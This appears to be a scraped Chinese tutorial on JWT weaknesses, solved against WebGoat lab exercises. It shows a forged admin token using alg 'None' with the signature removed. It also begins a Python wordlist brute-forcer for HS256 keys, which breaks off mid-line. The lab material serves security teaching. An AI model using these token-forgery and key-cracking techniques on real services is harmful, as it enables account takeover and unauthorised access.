JWT(JSON Web Token)漏洞 |
您所在的位置:网站首页 › 注册一个犬舍需要什么条件 › JWT(JSON Web Token)漏洞 |
目录
一、JWT介绍1.1概念1.2、JWT结构1.3、JWT获取流程1.4、Base64 URL编码
二、删除签名三、爆破HMAC密钥四、sql注入
一、JWT介绍
1.1概念
JSON Web Token (JWT) 是一种开放标准 (RFC 7519),它定义了一种紧凑且自包含的方式,用于 在各方之间作为 JSON 对象安全地传输信息。该信息可以被验证和信任,因为它是经过数字签名的。JWT 可以使用密钥(使用 HMAC 算法)或使用 RSA 的公钥/私钥对进行签名。 1.2、JWT结构JWT分为三部分,头部(Header),声明(Claims),签名(Signature),三个部分以英文句号.隔开。JWT的内容以Base64URL进行了编码。 1、头部(Header) 以上面的JWT为例,其中的头部解码后是这样的 { "alg":"HS256", "typ":"JWT" }alg 是说明这个JWT的签名使用的算法的参数,常见值用HS256(默认),HS512等,也可以为None。HS256表示HMAC SHA256。 typ 说明这个token的类型为JWT 2、声明(Claims) 上面的例子的声明解码后是: { "exp": 1416471934, "user_name": "user", "scope": [ "read", "write" ], "authorities": [ "ROLE_ADMIN", "ROLE_USER" ], "jti": "9bc92a44-0b1a-4c5e-be70-da52075b9a84", "client_id": "my-client-with-secret" }其中有些字段是JWT的固定参数,有特定的含义;而另一些是服务器自定义的参数,用来表示通话信息等。 JWT固定参数有: iss:发行人 exp:到期时间 sub:主题 aud:用户 nbf:在此之前不可用 iat:发布时间 jti:JWT ID用于标识该JWT 这段JSON同样以Base64 URL 编码后作为JWT的一部分。 3、签名 服务器有一个不会发送给客户端的密码(secret),用头部中指定的算法对头部和声明的内容用此密码进行加密,生成的字符串就是JWT的签名。 上面的例子的的签名为 qxNjYSPIKSURZEMqLQQPw1Zdk6Le2FdGHRYZG7SQnNk下面是一个用HS256生成JWT的代码例子 HMACSHA256(base64UrlEncode(header) + "." + base64UrlEncode(payload),secret) 1.3、JWT获取流程1、用户端登录,用户名和密码在请求中被发往服务器 2、(确认登录信息正确后)服务器生成JSON头部和声明,将登录信息写入JSON的声明中(通常不应写入密码,因为JWT是不加密的),并用secret用指定算法进行签名,生成该用户的JWT。此时,服务器并没有保存登录状态信息。 3、服务器将JWT(通过响应)返回给客户端 4、用户下次会话时,客户端会自动将JWT写在HTTP请求头部的Authorization字段中 5、服务器对JWT进行验证,若验证成功,则确认此用户的登录状态 6、服务器返回响应 1.4、Base64 URL编码在HTTP传输过程中,Base64编码中的"=","+","/“等特殊符号通过URL解码通常容易产生歧义,因此产生了与URL兼容的Base64 URL编码,在Base64 URL编码中,”+“会变成”-","/“会变成”_","="会被去掉,以此达到url safe的目的。 二、删除签名靶机采用webgoat JWT tokens第4题,该题的目的是更改token成为管理员,继而重置投票 首先找到重置按钮 然后选择一个用户 点击重置,并用Burp Suite抓取请求包 打开网站https://jwt.io解码token,得到JWT头部和声明。 声明中有一个admin字段,那么这题应该是需要我们将false改成true。 但修改JWT声明内容,签名需要重新生成,生成签名又需要密钥,但我们又没有密钥?! 前面讲JWT的结构说过,alg的值是可以为None的,这时也就是不加签名,签名的值就可以留空。 在https://jwt.io这个网站上是不允许将alg设置为None的。 所以,需要我们使用编码工具手动编码 头部 { "alg": "None" }Base64编码后得到: ewogICJhbGciOiAiTm9uZSIKfQ==声明: { "iat": 1630751159, "admin": "true", "user": "Tom" }Base64编码后得到: ewogICJpYXQiOiAxNjMwNzUxMTU5LAogICJhZG1pbiI6ICJ0cnVlIiwKICAidXNlciI6ICJUb20iCn0=因为我们要的是Base64 URL编码,手动去掉"="号,得到JWT(注意签名前的"."不能去掉): ewogICJhbGciOiAiTm9uZSIKfQ.ewogICJpYXQiOiAxNjMwNzUxMTU5LAogICJhZG1pbiI6ICJ0cnVlIiwKICAidXNlciI6ICJUb20iCn0.将这个作为access_token=的值就可以通过了 三、爆破HMAC密钥靶机采用webgoat JWT tokens第5题,该题的目的是找出密钥,然后创建一个新的令牌并对其签名。 下面开始爆破,不过好在提示里已经给出了字典 方法一、脚本爆破 脚本搬大神的(稍微修改了一点) 首先PyCharm安装PyJWT库和termcolor库 ''' 1、若签名直接校验成功,则key_为有效密钥; 2、若因数据部分预定义字段错误(jwt.exceptions.ExpiredSignatureError, jwt.exceptions.InvalidAudienceError, jwt.exceptions.InvalidIssuerAtError, jwt.exceptions.InvalidIssuedAtError, jwt.exceptions.ImmatureSignatureError) 导致校验失败,说明并非密钥错误导致,则key_也为有效密钥; 3、若因密钥错误(jwt.exceptions.InvalidSignatureError)导致检验失败,则key_为无效密钥; 4、若为其他原因(如JWT字符串格式错误)导致校验失败,根本无法验证当前key_是否有效。 ''' import jwt import termcolor jwt_str = R'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJXZWJHb2F0IFRva2VuIEJ1aWxkZXIiLCJpYXQiOjE1MjQyMTA5MDQs' \ R'ImV4cCI6MTYxODkwNTMwNCwiYXVkIjoid2ViZ29hdC5vcmciLCJzdWIiOiJ0b21Ad2ViZ29hdC5jb20iLCJ1c2VybmFt' \ R'ZSI6IlRvbSIsIkVtYWlsIjoidG9tQHdlYmdvYXQuY29tIiwiUm9sZSI6WyJNYW5hZ2VyIiwiUHJvamV' \ R'jdCBBZG1pbmlzdHJhdG9yIl19.vPe-qQPOt78zK8wrbN1TjNJj3LeX9Qbch6oo23RUJgM' with open('google-10000-english.txt') as f: for line in f: key_ = line.strip() try: jwt.decode(jwt_str,verify=True,key=key_,algorithms='HS256') print('\r','\bbingo! found key -->',termcolor.colored(key_,'green'),'',termcolor.colored(key_,'green'),' |
CopyRight 2018-2019 办公设备维修网 版权所有 豫ICP备15022753号-3 |